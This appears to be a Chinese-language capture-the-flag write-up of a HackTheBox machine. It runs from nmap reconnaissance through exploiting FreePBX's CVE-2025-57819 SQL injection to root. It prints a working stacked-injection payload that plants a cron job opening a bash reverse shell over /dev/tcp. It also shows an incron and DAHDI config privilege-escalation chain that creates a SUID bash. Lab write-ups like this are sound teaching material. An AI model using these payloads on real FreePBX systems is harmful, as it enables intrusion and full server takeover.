基本信息
IP地址:
10.129.166.13(非固定IP地址)
信息收集
ICMP检测
PING 10.129.166.13 (10.129.166.13) 56(84) bytes of data.
64 bytes from 10.129.166.13: icmp_seq=1 ttl=63 time=626 ms
64 bytes from 10.129.166.13: icmp_seq=2 ttl=63 time=440 ms
64 bytes from 10.129.166.13: icmp_seq=3 ttl=63 time=475 ms
64 bytes from 10.129.166.13: icmp_seq=4 ttl=63 time=487 ms
--- 10.129.166.13 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 439.725/506.907/625.953/70.900 ms
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.99 scan initiated Sun Jun 7 01:21:41 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.166.13
Nmap scan report for 10.129.166.13
Host is up (0.88s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp unfiltered ssh
80/tcp unfiltered http
443/tcp unfiltered https
# Nmap done at Sun Jun 7 01:22:28 2026 -- 1 IP address (1 host up) scanned in 47.19 seconds
靶机疑似开放了3个TCP端口。
网络端口扫描
TCP端口详细信息扫描报告
# Nmap 7.99 scan initiated Sun Jun 7 01:24:19 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.166.13
Nmap scan report for 10.129.166.13
Host is up (0.56s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/https Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 5.14 - 6.8 (91%), Linux 2.6.32 - 3.10
(91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 499.54 ms 10.10.16.1
2 601.83 ms 10.129.166.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 7 01:29:05 2026 -- 1 IP address (1 host up) scanned in 286.22 seconds
UDP开放端口扫描报告
# Nmap 7.99 scan initiated Sun Jun 7 01:30:52 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.166.13
Nmap scan report for 10.129.166.13
Host is up (1.3s latency).
All 65535 scanned ports on 10.129.166.13 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)
# Nmap done at Sun Jun 7 01:31:49 2026 -- 1 IP address (1 host up) scanned in 57.28 seconds
UDP端口详细信息扫描报告
(无)
同时发现靶机运行CentOS Linux操作系统,开放了22/ssh、80/http和443/https服务,根据HackTheBox靶机内容规则,靶机主域名应为connected.htb。
服务探测
SSH服务(22端口)
尝试使用ssh命令连接靶机,确定其登录方式:
ssh root@connected.htb

发现靶机允许使用密码和密钥登录。
Web应用程序(80端口)
打开主页:http://connected.htb/

发现靶机Web服务部署了FreePBX开源电话系统,版本为16.0.40.7。
尝试联网搜索相关信息,发现该版本系统存在未授权SQLi漏洞,编号为CVE-2025-57819:MuhammadWaseem29/SQL-Injection-and-RCE_CVE-2025-57819: FreePBX versions 15, 16, and 17 contain a Remote Code Execution (RCE) vulnerability caused by insufficient sanitization of user-supplied data in endpoints.

渗透测试
CVE-2025-57819漏洞利用
在服务探测阶段,我们已经发现FreePBX v16.0.40.7版本存在未授权SQLi漏洞,现在进行利用。
首先访问目标Web服务端点/admin/ajax.php,打开BurpSuite拦截:

将请求包发送到Repeater模块,根据EXP描述,加入SQLi测试语句:
/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'

确认SQLi漏洞存在!下面尝试使用堆叠注入,向cron_job计划任务数据库表中插入一条记录,以此反弹Shell:
INSERT INTO cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES("sysadmin","misaka19008","/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.130/443 0>&1'",NULL,"* * * * */1",30,1,1)

稍等片刻后,收到反弹Shell:

成功!!
权限提升
操作系统信息收集
进入系统后,尝试执行目录信息收集,但未发现任何信息,遂使用LinPEAS工具进行操作系统信息收集。
基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

在操作系统信息收集的过程中,发现了如下奇怪的计划任务配置:
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#
尝试联网查询相关信息,发现靶机启用了基于文件系统操作的计划任务工具incrond:incron - ArchWiki - Arch Linux 教程

通过阅读文档可得知,上述计划任务配置中,第一个配置项为文件形式的触发器,最后一个配置项为要执行的脚本文件,而中间的掩码IN_CLOSE_WRITE动作为“当一个以写入模式打开的文件关闭时执行”,这意味着,只要向左侧的触发器文件写入一些内容并关闭,就会触发右侧的程序。
除此之外,还发现了一些asterisk用户为属主的的系统服务配置目录:/etc/asterisk、/etc/dahdi等等,恰巧,计划任务中存在和上述两个服务相关的配置项。
经分析研判,决定对计划任务中Asterisk和DAHDI两个服务的启动配置进行审计,尝试挖掘突破口。
Incron计划任务提权
在操作系统信息收集阶段,我们已经发现靶机配置了Incron计划任务,现在尝试对计划任务的触发脚本进行审计。
首先查看/usr/sbin/sysadmin_dahdi_restart文件,发现其为脚本程序:
file /usr/sbin/sysadmin_dahdi_restart

直接查看其内容:

发现其调用了/etc/init.d/asterisk和/etc/init.d/dahdi两个服务启动脚本,于是对上述脚本进行审计,当审计dahdi启动脚本时发现了突破口:
if [ -f /etc/SuSE-release -o -f /etc/novell-release ]
then
system=debian
fi
# Source function library.
if [ $system = redhat ]; then
. $initdir/functions || exit 0
fi
DAHDI_MODULES_FILE="/etc/dahdi/modules"
[ -r /etc/dahdi/init.conf ] && . /etc/dahdi/init.conf
if [ $system = redhat ]; then
LOCKFILE=/var/lock/subsys/dahdi
fi
发现服务在加载过程中调用了/etc/dahdi/init.conf作为配置脚本执行,而该文件现在又是可写的:

直接向该文件末尾添加创建SUID Bash后门的命令:
echo "chmod 4755 /bin/bash" >> /etc/dahdi/init.conf
随后向触发器文件写入任意内容并关闭:
echo "test" > /var/spool/asterisk/sysadmin/dahdi_restart
一切完成后,启动SUID Bash,调用Python修改进程EUID,最后修改root密码:
/bin/bash -p
python -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"
exit
su -

提权成功!!!!
